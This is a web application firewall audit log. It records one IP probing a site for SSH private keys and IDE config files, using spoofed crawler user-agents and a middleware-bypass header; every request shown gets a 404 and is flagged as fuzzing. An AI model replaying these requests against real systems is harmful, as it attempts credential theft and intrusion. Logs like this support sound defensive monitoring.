Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306906606148 124267 (- - -)
Stopwatch2: 1789306906606148 124267; combined=6328, p1=320, p2=5404, p3=0, p4=0, p5=603, sr=122, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d391531b-Z--
--6fbf876f-A--
[13/Sep/2026:16:41:47.537559 +0300] aqaoG0wu1RSkptiiNIX@xAAAAII 34.182.226.0 36778 127.0.0.1 7081
--6fbf876f-B--
GET /.idea/WebServers.xml HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6fbf876f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: application/xml; charset=UTF-8
--6fbf876f-H--
Message: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.idea/webservers.xml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.idea/webservers.xml||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.idea/webservers.xml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.idea/WebServers.xml"] [unique_id "aqaoG0wu1RSkptiiNIX@xAAAAII"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.idea/webservers.xml||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.idea/WebServers.xml"] [unique_id "aqaoG0wu1RSkptiiNIX@xAAAAII"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306907400215 137565 (- - -)
Stopwatch2: 1789306907400215 137565; combined=39271, p1=291, p2=38856, p3=0, p4=0, p5=123, sr=121, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6fbf876f-Z--
--4eef6162-A--
[13/Sep/2026:16:41:47.866491 +0300] aqaoG2M7dE9KgIIOpQiBsgAAAMk 34.182.226.0 36806 127.0.0.1 7081
--4eef6162-B--
GET /.ssh/id_rsa HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--4eef6162-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4eef6162-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/id_rsa"] [unique_id "aqaoG2M7dE9KgIIOpQiBsgAAAMk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/id_rsa"] [unique_id "aqaoG2M7dE9KgIIOpQiBsgAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306907676209 190348 (- - -)
Stopwatch2: 1789306907676209 190348; combined=37252, p1=241, p2=36927, p3=0, p4=0, p5=84, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4eef6162-Z--
--96bb7975-A--
[13/Sep/2026:16:41:47.963255 +0300] aqaoG2M7dE9KgIIOpQiBswAAANY 34.182.226.0 36810 127.0.0.1 7081
--96bb7975-B--
GET /.ssh/id_ed25519 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--96bb7975-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--96bb7975-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ed25519||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ed25519||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ed25519||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/id_ed25519"] [unique_id "aqaoG2M7dE9KgIIOpQiBswAAANY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ed25519||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/id_ed25519"] [unique_id "aqaoG2M7dE9KgIIOpQiBswAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306907751131 212182 (- - -)
Stopwatch2: 1789306907751131 212182; combined=36314, p1=310, p2=35927, p3=0, p4=0, p5=76, sr=113, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--96bb7975-Z--
--c1547c45-A--
[13/Sep/2026:16:41:48.094247 +0300] aqaoG2M7dE9KgIIOpQiBtAAAAM0 34.182.226.0 36820 127.0.0.1 7081
--c1547c45-B--
GET /.ssh/authorized_keys HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c1547c45-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c1547c45-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/authorized_keys||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/authorized_keys"] [unique_id "aqaoG2M7dE9KgIIOpQiBtAAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/authorized_keys||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/authorized_keys"] [unique_id "aqaoG2M7dE9KgIIOpQiBtAAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306907951722 142604 (- - -)
Stopwatch2: 1789306907951722 142604; combined=32645, p1=370, p2=32208, p3=0, p4=0, p5=67, sr=128, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c1547c45-Z--
--ce94792b-A--
[13/Sep/2026:16:41:48.317137 +0300] aqaoHEwu1RSkptiiNIX@xwAAAJQ 34.182.226.0 36836 127.0.0.1 7081
--ce94792b-B--
GET /.ssh/config HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ce94792b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ce94792b-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/config"] [unique_id "aqaoHEwu1RSkptiiNIX@xwAAAJQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/config"] [unique_id "aqaoHEwu1RSkptiiNIX@xwAAAJQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306908125099 192099 (- - -)
Stopwatch2: 1789306908125099 192099; combined=40054, p1=259, p2=39738, p3=0, p4=0, p5=56, sr=105, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ce94792b-Z--
--e3bdad7b-A--
[13/Sep/2026:16:41:48.483057 +0300] aqaoHGM7dE9KgIIOpQiBtwAAAMQ 34.182.226.0 36854 127.0.0.1 7081
--e3bdad7b-B--
GET /.ssh/id_ecdsa HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e3bdad7b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e3bdad7b-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ecdsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/id_ecdsa"] [unique_id "aqaoHGM7dE9KgIIOpQiBtwAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ecdsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/id_ecdsa"] [unique_id "aqaoHGM7dE9KgIIOpQiBtwAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306908314160 168966 (- - -)
Stopwatch2: 1789306908314160 168966; combined=47139, p1=218, p2=31237, p3=0, p4=0, p5=7875, sr=86, sw=0, l=0, gc=7809
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e3bdad7b-Z--
--c42ce556-A--
[13/Sep/2026:16:41:48.591011 +0300] aqaoHGM7dE9KgIIOpQiBuAAAAMM 34.182.226.0 36868 127.0.0.1 7081
--c42ce556-B--
GET /.ssh/id_dsa HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c42ce556-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c42ce556-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/id_dsa"] [unique_id "aqaoHGM7dE9KgIIOpQiBuAAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.ssh/id_dsa"] [unique_id "aqaoHGM7dE9KgIIOpQiBuAAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306908378158 212909 (- - -)
Stopwatch2: 1789306908378158 212909; combined=34443, p1=310, p2=34064, p3=0, p4=0, p5=69, sr=130, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c42ce556-Z--
--42b01727-A--
[13/Sep/2026:16:41:49.005036 +0300] aqaoHGM7dE9KgIIOpQiBuQAAANg 34.182.226.0 36878 127.0.0.1 7081
--42b01727-B--
GET /id_rsa HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--42b01727-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--42b01727-H--
Message: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/id_rsa"] [unique_id "aqaoHGM7dE9KgIIOpQiBuQAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/id_rsa"] [unique_id "aqaoHGM7dE9KgIIOpQiBuQAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306908885213 119879 (- - -)
Stopwatch2: 1789306908885213 119879; combined=32131, p1=298, p2=31765, p3=0, p4=0, p5=67, sr=119, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--42b01727-Z--
--18f9a70a-A--
[13/Sep/2026:16:41:50.540012 +0300] aqaoHmM7dE9KgIIOpQiBuwAAAMY 34.182.226.0 36894 127.0.0.1 7081
--18f9a70a-B--
GET /.ssh/known_hosts HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--18f9a70a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--18f9a70a-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/known_hosts||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
